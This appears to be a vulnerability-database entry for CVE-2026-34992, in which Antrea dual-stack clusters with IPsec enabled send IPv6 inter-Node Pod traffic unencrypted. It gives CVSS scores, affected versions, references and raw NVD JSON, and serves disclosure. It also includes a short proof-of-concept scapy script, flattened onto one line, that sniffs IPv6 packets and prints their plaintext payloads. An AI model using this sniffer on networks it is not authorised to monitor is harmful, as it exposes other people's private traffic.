Security Vulnerability Report
中文
CVE-2026-34992 CVSS 7.5 HIGH

CVE-2026-34992

Published: 2026-04-06 17:17:12
Last Modified: 2026-04-27 23:51:02

Description

Antrea is a Kubernetes networking solution intended to be Kubernetes native. Prior to 2.4.5 and 2.5.2, a missing encryption vulnerability affects inter-Node Pod traffic. In Antrea clusters configured for dual-stack networking with IPsec encryption enabled (trafficEncryptionMode: ipsec), Antrea fails to apply encryption for IPv6 Pod traffic. While the IPv4 traffic is correctly encrypted via ESP (Encapsulating Security Payload), traffic using IPv6 is transmitted in plaintext. This occurs because the packets are encapsulated (using Geneve or VXLAN) but bypass the IPsec encryption layer. Impacted Users: users with dual-stack clusters and IPsec encryption enabled. Single-stack IPv4 or IPv6 clusters are not affected. This vulnerability is fixed in 2.4.5 and 2.5.2.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:linuxfoundation:antrea:*:*:*:*:*:kubernetes:*:* - VULNERABLE
cpe:2.3:a:linuxfoundation:antrea:*:*:*:*:*:kubernetes:*:* - VULNERABLE
Antrea < 2.4.5
Antrea 2.5.0 - 2.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import scapy.all as scapy def capture_ipv6_traffic(interface): # Sniff IPv6 packets to demonstrate plaintext transmission print(f"[*] Sniffing on {interface} for IPv6 traffic...") scapy.sniff(iface=interface, filter="ip6", prn=process_packet, store=0) def process_packet(packet): if packet.haslayer(scapy.IPv6) and packet.haslayer(scapy.Raw): print(f"[+] Captured IPv6 Packet: {packet[scapy.IPv6].src} -> {packet[scapy.IPv6].dst}") print(f"[+] Payload (Plaintext): {packet[scapy.Raw].load}") if __name__ == "__main__": # Usage: python3 poc.py <interface> import sys if len(sys.argv) != 2: print("Usage: python3 poc.py <network_interface>") else: capture_ipv6_traffic(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34992", "sourceIdentifier": "[email protected]", "published": "2026-04-06T17:17:12.183", "lastModified": "2026-04-27T23:51:02.157", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Antrea is a Kubernetes networking solution intended to be Kubernetes native. Prior to 2.4.5 and 2.5.2, a missing encryption vulnerability affects inter-Node Pod traffic. In Antrea clusters configured for dual-stack networking with IPsec encryption enabled (trafficEncryptionMode: ipsec), Antrea fails to apply encryption for IPv6 Pod traffic. While the IPv4 traffic is correctly encrypted via ESP (Encapsulating Security Payload), traffic using IPv6 is transmitted in plaintext. This occurs because the packets are encapsulated (using Geneve or VXLAN) but bypass the IPsec encryption layer. Impacted Users: users with dual-stack clusters and IPsec encryption enabled. Single-stack IPv4 or IPv6 clusters are not affected. This vulnerability is fixed in 2.4.5 and 2.5.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-311"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:antrea:*:*:*:*:*:kubernetes:*:*", "versionEndExcluding": "2.4.5", "matchCriteriaId": "C7F386FD-A3B0-4514-A068-F2EBE07644F1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:antrea:*:*:*:*:*:kubernetes:*:*", "versionStartIncluding": "2.5.0", "versionEndExcluding": "2.5.2", "matchCriteriaId": "E08570A1-C455-459D-BA14-94DC70FA5452"}]}]}], "references": [{"url": "https://github.com/antrea-io/antrea/blob/main/docs/traffic-encryption.md", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://github.com/antrea-io/antrea/commit/738bad662b20a5d358d19466936176ef580a9b07", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/antrea-io/antrea/pull/7757", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/antrea-io/antrea/pull/7759", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/antrea-io/antrea/security/advisories/GHSA-qcmw-8mm4-4p28", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}